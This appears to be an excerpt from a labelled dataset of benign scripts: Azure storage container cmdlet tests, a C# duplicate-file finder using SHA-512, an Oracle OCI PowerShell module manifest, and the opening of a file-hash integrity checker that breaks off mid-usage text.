Assert-AreEqual $containerName $container.Name Assert-AreEqual $false $container.HasLegalHold Assert-AreEqual $false $container.HasImmutabilityPolicy Assert-AreEqual $publicAccess $container.PublicAccess Assert-AreEqual $metadata.Count $container.Metadata.Count $publicAccess = 'container' $metadata = @{tag0="value0";tag1="value1"} $containerName2 = "container2"+ $rgname New-AzRmStorageContainer -StorageAccount $stos -Name $containerName2 -PublicAccess $publicAccess -Metadata $metadata $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName2 Assert-AreEqual $rgname $container.ResourceGroupName Assert-AreEqual $stoname $container.StorageAccountName Assert-AreEqual $containerName2 $container.Name Assert-AreEqual $false $container.HasLegalHold Assert-AreEqual $false $container.HasImmutabilityPolicy Assert-AreEqual $publicAccess $container.PublicAccess Assert-AreEqual $metadata.Count $container.Metadata.Count $job = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -AsJob $job | Wait-Job $containers = $job.Output Assert-AreEqual 2 $containers.Count Assert-AreEqual $containerName $containers[1].Name Assert-AreEqual $containerName2 $containers[0].Name Remove-AzRmStorageContainer -Force -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName $containers = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname Assert-AreEqual 1 $containers.Count Assert-AreEqual $containerName2 $containers[0].Name Remove-AzRmStorageContainer -Force -StorageAccount $stos -Name $containerName2 $containers = Get-AzRmStorageContainer -StorageAccount $stos Assert-AreEqual 0 $containers.Count Remove-AzStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { Clean-ResourceGroup $rgname } } function Test-StorageBlobContainerLegalHold { $rgname = Get-StorageManagementTestResourceName; try { $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'StorageV2' $containerName = "container"+ $rgname Write-Verbose "RGName: $rgname | Loc: $loc" New-AzResourceGroup -Name $rgname -Location $loc; New-AzStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind $stos = Get-AzStorageAccount -ResourceGroupName $rgname; New-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $rgname $container.ResourceGroupName Assert-AreEqual $stoname $container.StorageAccountName Assert-AreEqual $containerName $container.Name Assert-AreEqual $false $container.HasLegalHold Assert-AreEqual $false $container.HasImmutabilityPolicy Assert-AreEqual none $container.PublicAccess Add-AzRmStorageContainerLegalHold -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName -Tag tag1,tag2,tag3 $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual 3 $container.LegalHold.Tags.Count Assert-AreEqual "tag1" $container.LegalHold.Tags[0].Tag Assert-AreNotEqual $null $container.LegalHold.Tags[0].Timestamp Assert-AreNotEqual $null $container.LegalHold.Tags[0].ObjectIdentifier Assert-AreEqual "tag2" $container.LegalHold.Tags[1].Tag Assert-AreNotEqual $null $container.LegalHold.Tags[1].Timestamp Assert-AreNotEqual $null $container.LegalHold.Tags[1].ObjectIdentifier Assert-AreEqual "tag3" $container.LegalHold.Tags[2].Tag Assert-AreNotEqual $null $container.LegalHold.Tags[2].Timestamp Assert-AreNotEqual $null $container.LegalHold.Tags[2].ObjectIdentifier Remove-AzRmStorageContainerLegalHold -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName -Tag tag1,tag2 $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual 1 $container.LegalHold.Tags.Count Assert-AreEqual "tag3" $container.LegalHold.Tags[0].Tag Assert-AreNotEqual $null $container.LegalHold.Tags[0].Timestamp Assert-AreNotEqual $null $container.LegalHold.Tags[0].ObjectIdentifier Add-AzRmStorageContainerLegalHold -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName -Tag tag1 $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual 2 $container.LegalHold.Tags.Count Assert-AreEqual "tag3" $container.LegalHold.Tags[0].Tag Assert-AreNotEqual $null $container.LegalHold.Tags[0].Timestamp Assert-AreNotEqual $null $container.LegalHold.Tags[0].ObjectIdentifier Assert-AreEqual "tag1" $container.LegalHold.Tags[1].Tag Assert-AreNotEqual $null $container.LegalHold.Tags[1].Timestamp Assert-AreNotEqual $null $container.LegalHold.Tags[1].ObjectIdentifier Remove-AzRmStorageContainerLegalHold -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName -Tag tag1,tag3 $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual 0 $container.LegalHold.Tags.Count Remove-AzRmStorageContainer -Force -StorageAccount $stos -Name $containerName $containers = Get-AzRmStorageContainer -StorageAccount $stos Assert-AreEqual 0 $containers.Count Remove-AzStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { Clean-ResourceGroup $rgname } } function Test-StorageBlobContainerImmutabilityPolicy { $rgname = Get-StorageManagementTestResourceName; try { $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'StorageV2' $containerName = "container"+ $rgname Write-Verbose "RGName: $rgname | Loc: $loc" New-AzResourceGroup -Name $rgname -Location $loc; New-AzStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind $stos = Get-AzStorageAccount -ResourceGroupName $rgname; New-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $rgname $container.ResourceGroupName Assert-AreEqual $stoname $container.StorageAccountName Assert-AreEqual $containerName $container.Name Assert-AreEqual $false $container.HasLegalHold Assert-AreEqual $false $container.HasImmutabilityPolicy Assert-AreEqual none $container.PublicAccess $policy = Get-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName Assert-AreEqual 0 $policy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Deleted $policy.State Assert-AreEqual "" $policy.Etag $immutabilityPeriod =3 Set-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName -ImmutabilityPeriod $immutabilityPeriod $policy = Get-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName Assert-AreEqual $immutabilityPeriod $policy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Unlocked $policy.State Assert-AreNotEqual $null $policy.Etag $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Unlocked $container.ImmutabilityPolicy.State Assert-AreEqual 1 $container.ImmutabilityPolicy.UpdateHistory.Count Assert-AreEqual put $container.ImmutabilityPolicy.UpdateHistory[0].Update Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.UpdateHistory[0].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].ObjectIdentifier $immutabilityPeriod =2 Set-AzRmStorageContainerImmutabilityPolicy -inputObject $policy -ImmutabilityPeriod $immutabilityPeriod $policy = Get-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName Assert-AreEqual $immutabilityPeriod $policy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Unlocked $policy.State Assert-AreNotEqual $null $policy.Etag $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Unlocked $container.ImmutabilityPolicy.State Assert-AreEqual 1 $container.ImmutabilityPolicy.UpdateHistory.Count Assert-AreEqual put $container.ImmutabilityPolicy.UpdateHistory[0].Update Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.UpdateHistory[0].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].ObjectIdentifier Remove-AzRmStorageContainerImmutabilityPolicy -inputObject $policy $policy = Get-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName Assert-AreEqual 0 $policy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Deleted $policy.State Assert-AreEqual "" $policy.Etag $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual $null $container.ImmutabilityPolicy $immutabilityPeriod =7 Set-AzRmStorageContainerImmutabilityPolicy -inputObject $policy -ImmutabilityPeriod $immutabilityPeriod $policy = Get-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName Assert-AreEqual $immutabilityPeriod $policy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Unlocked $policy.State Assert-AreNotEqual $null $policy.Etag $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Unlocked $container.ImmutabilityPolicy.State Assert-AreEqual 1 $container.ImmutabilityPolicy.UpdateHistory.Count Assert-AreEqual put $container.ImmutabilityPolicy.UpdateHistory[0].Update Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.UpdateHistory[0].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].ObjectIdentifier Lock-AzRmStorageContainerImmutabilityPolicy -inputObject $policy -Force $policy = Get-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName Assert-AreEqual $immutabilityPeriod $policy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Locked $policy.State Assert-AreNotEqual $null $policy.Etag $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Locked $container.ImmutabilityPolicy.State Assert-AreEqual 2 $container.ImmutabilityPolicy.UpdateHistory.Count Assert-AreEqual put $container.ImmutabilityPolicy.UpdateHistory[0].Update Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.UpdateHistory[0].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].ObjectIdentifier Assert-AreEqual lock $container.ImmutabilityPolicy.UpdateHistory[1].Update Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.UpdateHistory[1].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[1].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[1].ObjectIdentifier $immutabilityPeriod2 =20 Set-AzRmStorageContainerImmutabilityPolicy -inputObject $policy -ExtendPolicy -ImmutabilityPeriod $immutabilityPeriod2 $policy = Get-AzRmStorageContainerImmutabilityPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -ContainerName $containerName Assert-AreEqual $immutabilityPeriod2 $policy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Locked $policy.State Assert-AreNotEqual $null $policy.Etag $container = Get-AzRmStorageContainer -ResourceGroupName $rgname -StorageAccountName $stoname -Name $containerName Assert-AreEqual $containerName $container.Name Assert-AreEqual $immutabilityPeriod2 $container.ImmutabilityPolicy.ImmutabilityPeriodSinceCreationInDays Assert-AreEqual Locked $container.ImmutabilityPolicy.State Assert-AreEqual 3 $container.ImmutabilityPolicy.UpdateHistory.Count Assert-AreEqual put $container.ImmutabilityPolicy.UpdateHistory[0].Update Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.UpdateHistory[0].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[0].ObjectIdentifier Assert-AreEqual lock $container.ImmutabilityPolicy.UpdateHistory[1].Update Assert-AreEqual $immutabilityPeriod $container.ImmutabilityPolicy.UpdateHistory[1].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[1].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[1].ObjectIdentifier Assert-AreEqual extend $container.ImmutabilityPolicy.UpdateHistory[2].Update Assert-AreEqual $immutabilityPeriod2 $container.ImmutabilityPolicy.UpdateHistory[2].ImmutabilityPeriodSinceCreationInDays Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[2].Timestamp Assert-AreNotEqual $null $container.ImmutabilityPolicy.UpdateHistory[2].ObjectIdentifier Remove-AzRmStorageContainer -Force -StorageAccount $stos -Name $containerName $containers = Get-AzRmStorageContainer -StorageAccount $stos Assert-AreEqual 0 $containers.Count Remove-AzStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { Clean-ResourceGroup $rgname } } function Test-StorageBlobServiceProperties { $rgname = Get-StorageManagementTestResourceName; try { $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'StorageV2' Write-Verbose "RGName: $rgname | Loc: $loc" New-AzResourceGroup -Name $rgname -Location $loc; New-AzStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind $stos = Get-AzStorageAccount -ResourceGroupName $rgname; $property = Update-AzStorageBlobServiceProperty -ResourceGroupName $rgname -StorageAccountName $stoname -DefaultServiceVersion 2018-03-28 Assert-AreEqual '2018-03-28' $property.DefaultServiceVersion $property = Get-AzStorageBlobServiceProperty -ResourceGroupName $rgname -StorageAccountName $stoname Assert-AreEqual '2018-03-28' $property.DefaultServiceVersion $policy = Enable-AzStorageBlobDeleteRetentionPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -PassThru -RetentionDays 3 Assert-AreEqual $true $policy.Enabled Assert-AreEqual 3 $policy.Days $property = Get-AzStorageBlobServiceProperty -ResourceGroupName $rgname -StorageAccountName $stoname Assert-AreEqual '2018-03-28' $property.DefaultServiceVersion Assert-AreEqual $true $property.DeleteRetentionPolicy.Enabled Assert-AreEqual 3 $property.DeleteRetentionPolicy.Days $policy = Disable-AzStorageBlobDeleteRetentionPolicy -ResourceGroupName $rgname -StorageAccountName $stoname -PassThru Assert-AreEqual $false $policy.Enabled Assert-AreEqual $null $policy.Days $property = Get-AzStorageBlobServiceProperty -ResourceGroupName $rgname -StorageAccountName $stoname Assert-AreEqual '2018-03-28' $property.DefaultServiceVersion Assert-AreEqual $false $property.DeleteRetentionPolicy.Enabled Assert-AreEqual $null $property.DeleteRetentionPolicy.Days Remove-AzStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { Clean-ResourceGroup $rgname } }
combined_dataset/train/non-malicious/Findup_1.ps1
Findup_1.ps1
using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Text; using System.Security.Cryptography; using System.Runtime.InteropServices; using Microsoft.Win32; using System.IO; namespace Findup { public class FileInfoExt { public FileInfoExt(FileInfo fi) { FI = fi; // Checked = false; // Set if the file has already been checked. // string SHA512_1st1K; // SHA512 hash of first 1K bytes. // string SHA512_All; // SHA512 hash of complete file. } public FileInfo FI { get; private set; } public bool Checked { get; set; } public string SHA512_1st1K { get; set; } public string SHA512_All { get; set; } } class Recurse // Return FileInfoExt list of files matching filenames, file specifications (IE: *.*), and in directories in pathRec { public void Recursive(string[] pathRec, string searchPattern, Boolean recursiveFlag, List<FileInfoExt> returnList) { foreach (string d in pathRec) { Recursive(d, searchPattern, recursiveFlag, returnList); } return; } public void Recursive(string pathRec, string searchPattern, Boolean recursiveFlag, List<FileInfoExt> returnList) { if (File.Exists(pathRec)) { try { returnList.Add(new FileInfoExt(new FileInfo(pathRec))); } catch (Exception e) { Console.WriteLine("Add file error: " + e.Message); } } else if (Directory.Exists(pathRec)) { try { DirectoryInfo Dir = new DirectoryInfo(pathRec); returnList.AddRange(Dir.GetFiles(searchPattern).Select(s => new FileInfoExt(s))); } catch (Exception e) { Console.WriteLine("Add files from Directory error: " +e.Message); } if (recursiveFlag == true) { try { foreach (string d in (Directory.GetDirectories(pathRec))) { Recursive(d, searchPattern, recursiveFlag, returnList); } } catch (Exception e) { Console.WriteLine("Add Directory error: " + e.Message); } } } else { string filePart = Path.GetFileName(pathRec); string dirPart = Path.GetDirectoryName(pathRec); if (filePart.IndexOfAny(new char[] { '?', '*' }) >= 0) { if ((dirPart == null) || (dirPart == "")) dirPart = Directory.GetCurrentDirectory(); if (Directory.Exists(dirPart)) { Recursive(dirPart, filePart, recursiveFlag, returnList); } else { Console.WriteLine("Invalid file path, directory path, file specification, or program option specified: " + pathRec); } } else { Console.WriteLine("Invalid file path, directory path, file specification, or program option specified: " + pathRec); } } return; } } class Program { public static void Main(string[] args) { Console.WriteLine("Findup.exe v1.0 - use -help for usage information. Created in 2010 by James Gentile."); Console.WriteLine(" "); string[] paths = new string[0]; System.Boolean recurse = false; System.Boolean delete = false; System.Boolean noprompt = false; List<FileInfoExt> fs = new List<FileInfoExt>(); long bytesInDupes = 0; // bytes in all the duplicates long numOfDupes = 0; // number of duplicate files found. long bytesRec = 0; // number of bytes recovered. long delFiles = 0; // number of files deleted. int c = 0; int i = 0; string deleteConfirm; for (i = 0; i < args.Length; i++) { if ((System.String.Compare(args[i],"-help",true) == 0) || (System.String.Compare(args[i],"-h",true) == 0)) { Console.WriteLine("Usage: findup.exe <file/directory #1> <file/directory #2> ... <file/directory #N> [-recurse] [-delete] [-noprompt]"); Console.WriteLine(" "); Console.WriteLine("Options: -help - displays this help infomration."); Console.WriteLine(" -recurse - recurses through subdirectories."); Console.WriteLine(" -delete - deletes duplicates with confirmation prompt."); Console.WriteLine(" -noprompt - when used with -delete option, deletes files without confirmation prompt."); Console.WriteLine(" "); Console.WriteLine("Examples: findup.exe c:\\\\finances -recurse"); Console.WriteLine(" findup.exe c:\\\\users\\\\alice\\\\plan.txt d:\\\\data -recurse -delete -noprompt"); Console.WriteLine(" "); return; } if (System.String.Compare(args[i],"-recurse",true) == 0) { recurse = true; continue; } if (System.String.Compare(args[i],"-delete",true) == 0) { delete = true; continue; } if (System.String.Compare(args[i],"-noprompt",true) == 0) { noprompt = true; continue; } Array.Resize(ref paths, paths.Length + 1); paths[c] = args[i]; c++; } if (paths.Length == 0) { Console.WriteLine("No files specified, try findup.exe -help"); return; } Recurse recurseMe = new Recurse(); recurseMe.Recursive(paths, "*.*", recurse, fs); if (fs.Count < 2) { Console.WriteLine("Findup.exe needs at least 2 files to compare. try findup.exe -help"); return; } for (i = 0; i < fs.Count; i++) { if (fs[i].Checked == true) // If file was already matched, then skip to next. continue; for (c = i+1; c < fs.Count; c++) { if (fs[c].Checked == true) // skip already matched inner loop files. continue; if (fs[i].FI.Length != fs[c].FI.Length) // If file size matches, then check hash. continue; if (fs[i].FI.FullName == fs[c].FI.FullName) // don't count the same file as a match. continue; if (fs[i].SHA512_1st1K == null) // check/hash first 1K first. fs[i].SHA512_1st1K = ComputeInitialHash(fs[i].FI.FullName); if (fs[c].SHA512_1st1K == null) fs[c].SHA512_1st1K = ComputeInitialHash(fs[c].FI.FullName); if (fs[i].SHA512_1st1K != fs[c].SHA512_1st1K) // if the 1st 1K has the same hash.. continue; if (fs[i].SHA512_1st1K == null) // if hash error, then skip to next file. continue; if (fs[i].FI.Length > 1024) // skip hashing the file again if < 1024 bytes. { if (fs[i].SHA512_All == null) // check/hash the rest of the files. fs[i].SHA512_All = ComputeFullHash(fs[i].FI.FullName); if (fs[c].SHA512_All == null) fs[c].SHA512_All = ComputeFullHash(fs[c].FI.FullName); if (fs[i].SHA512_All != fs[c].SHA512_All) continue; if (fs[i].SHA512_All == null) // check for hash fail before declairing a duplicate. continue; } Console.WriteLine(" Match: " + fs[i].FI.FullName); Console.WriteLine(" with: " + fs[c].FI.FullName); fs[c].Checked = true; // do not check or match against this file again. numOfDupes++; // increase count of matches. bytesInDupes += fs[c].FI.Length; // accumulate number of bytes in duplicates. if (delete != true) // if delete is specified, try to delete the duplicate file. continue; if (noprompt == false) { Console.Write("Delete the duplicate file <Y/n>?"); deleteConfirm = Console.ReadLine(); if ((deleteConfirm[0] != 'Y') && (deleteConfirm[0] != 'y')) continue; } try { File.Delete(fs[c].FI.FullName); Console.WriteLine("Deleted: " + fs[c].FI.FullName); bytesRec += fs[c].FI.Length; delFiles++; } catch (Exception e) { Console.WriteLine("File delete error: " + e.Message); } } } Console.WriteLine(" "); Console.WriteLine("Files checked: " + fs.Count); Console.WriteLine("Duplicate files: " + numOfDupes); Console.WriteLine("Bytes in duplicate files: " + bytesInDupes); Console.WriteLine("Duplicates deleted: " + delFiles); Console.WriteLine("Bytes recovered: " + bytesRec); return; } private static readonly byte[] readBuf = new byte[1024]; private static string ComputeInitialHash(string path) { try { using (var stream = File.OpenRead(path)) { var length = stream.Read(readBuf, 0, readBuf.Length); var hash = SHA512.Create().ComputeHash(readBuf, 0, length); return BitConverter.ToString(hash); } } catch (Exception e) { Console.WriteLine("Hash Error: " + e.Message); return (null); } } private static string ComputeFullHash(string path) { try { using (var stream = File.OpenRead(path)) { return BitConverter.ToString(SHA512.Create().ComputeHash(stream)); } } catch (Exception e) { Console.WriteLine("Hash error: " + e.Message); return (null); } } } }
combined_dataset/train/non-malicious/sample_66_53.ps1
sample_66_53.ps1
# # Module manifest for module 'OCI.PSModules.Onesubscription' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Onesubscription.dll' # Version number of this module. ModuleVersion = '83.3.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '22bf5ba6-749f-401c-8b99-0cf5afbd2958' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Onesubscription Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '83.3.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Onesubscription.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Get-OCIOnesubscriptionAggregatedComputedUsagesList', 'Get-OCIOnesubscriptionBillingSchedulesList', 'Get-OCIOnesubscriptionCommitment', 'Get-OCIOnesubscriptionCommitmentsList', 'Get-OCIOnesubscriptionComputedUsage', 'Get-OCIOnesubscriptionComputedUsagesList', 'Get-OCIOnesubscriptionInvoicelineComputedUsagesList', 'Get-OCIOnesubscriptionInvoicesList', 'Get-OCIOnesubscriptionOrganizationSubscriptionsList', 'Get-OCIOnesubscriptionRateCardsList', 'Get-OCIOnesubscriptionSubscribedService', 'Get-OCIOnesubscriptionSubscribedServicesList', 'Get-OCIOnesubscriptionSubscriptionsList' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Onesubscription' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/chkhash_25.ps1
chkhash_25.ps1
# calculate SHA512 of file. function Get-SHA512([System.IO.FileInfo] $file = $(throw 'Usage: Get-MD5 [System.IO.FileInfo]')) { $stream = $null; $cryptoServiceProvider = [System.Security.Cryptography.SHA512CryptoServiceProvider]; $hashAlgorithm = new-object $cryptoServiceProvider $stream = $file.OpenRead(); $hashByteArray = $hashAlgorithm.ComputeHash($stream); $stream.Close(); ## We have to be sure that we close the file stream if any exceptions are thrown. trap { if ($stream -ne $null) { $stream.Close(); } break; } foreach ($byte in $hashByteArray) { if ($byte -lt 16) {$result += “0{0:X}” -f $byte } else { $result += “{0:X}” -f $byte }} return [string]$result; } function noequal ( $first, $second) { if (!($second) -or $second -eq "") {return $true} $first=join-path $first "\\" foreach($s in $second) { if ($first.tolower().startswith($s.tolower())) {return $false} } return $true } function WriteFileName ( [string]$writestr ) # this function prints multiline messages on top of each other, good for iterating through filenames without filling { # the console with a huge wall of text. Call this function to print each of the filename messages, then call WriteFileNameEnd when done # before printing anything else, so that you are not printing into a long file name with extra characters from it visible. if ($global:lastlen -eq $null) {$global:lastlen=0} $ctop=[console]::cursortop [console]::cursorleft=0 $oldwritestrlen=$writestr.length $spaces = "" if ($global:lastlen -gt $writestr.length) { $spaces = " " * ($global:lastlen-$writestr.length) } $writelines = [math]::divrem($writestr.length, [console]::bufferwidth, [ref]$null) $cwe = ($writelines-([console]::bufferheight-$ctop))+1 # calculate where text has scroll back to. if ($cwe -gt 0) {$ctop-=($cwe)} write-host "$writestr" -nonewline $global:oldctop=[console]::cursortop if ([console]::cursorleft -ne 0) {$global:oldctop+=1} write-host "$spaces" -nonewline $global:lastlen = $oldwritestrlen [console]::cursortop=$ctop [console]::cursorleft=0 } function WriteFileNameEnd ( ) # call this function when you are done overwriting messages on top of each other { # and before printing something else if ($global:oldctop -ne $null) { [console]::cursortop=$global:oldctop [console]::cursorleft=0 } $global:oldctop=$null $global:lastlen=$null } # chkhash.ps1 [file(s)/dir #1] [file(s)/dir #2] ... [file(s)/dir #3] [-u] [-h [path of .xml database]] # -u updates the XML file database and exits # otherwise, all files are checked against the XML file database. # -h specifies location of xml hash database $hashespath=".\\hashes.xml" del variable:\\args3 -ea 0 del variable:\\args2 -ea 0 del variable:\\xfiles -ea 0 del variable:\\files -ea 0 del variable:\\exclude -ea 0 $args3=@() $args2=@($args) $nu = 0 $errs = 0 $fc = 0 $fm = 0 $upd = $false $create = $false "ChkHash.ps1 - ChkHash.ps1 can create a .XML database of files and their SHA-512 hashes and check files against the database, " "in order to detect corrupt or hacked files." "" ".\\chkhash.ps1 -h for usage." "" for($i=0;$i -lt $args2.count; $i++) { if ($args2[$i] -like "-h*") # -help specified? { "Usage: .\\chkhash.ps1 [-h] [-u] [-c] [-x <file path of hashes .xml database>] [file(s)/dir #1] [file(s)/dir #2] ... [file(s)/dir #n] [-e <Dirs>]" "Options: -h - Help display." " -c - Create hash database. If .xml hash database does not exist, -c 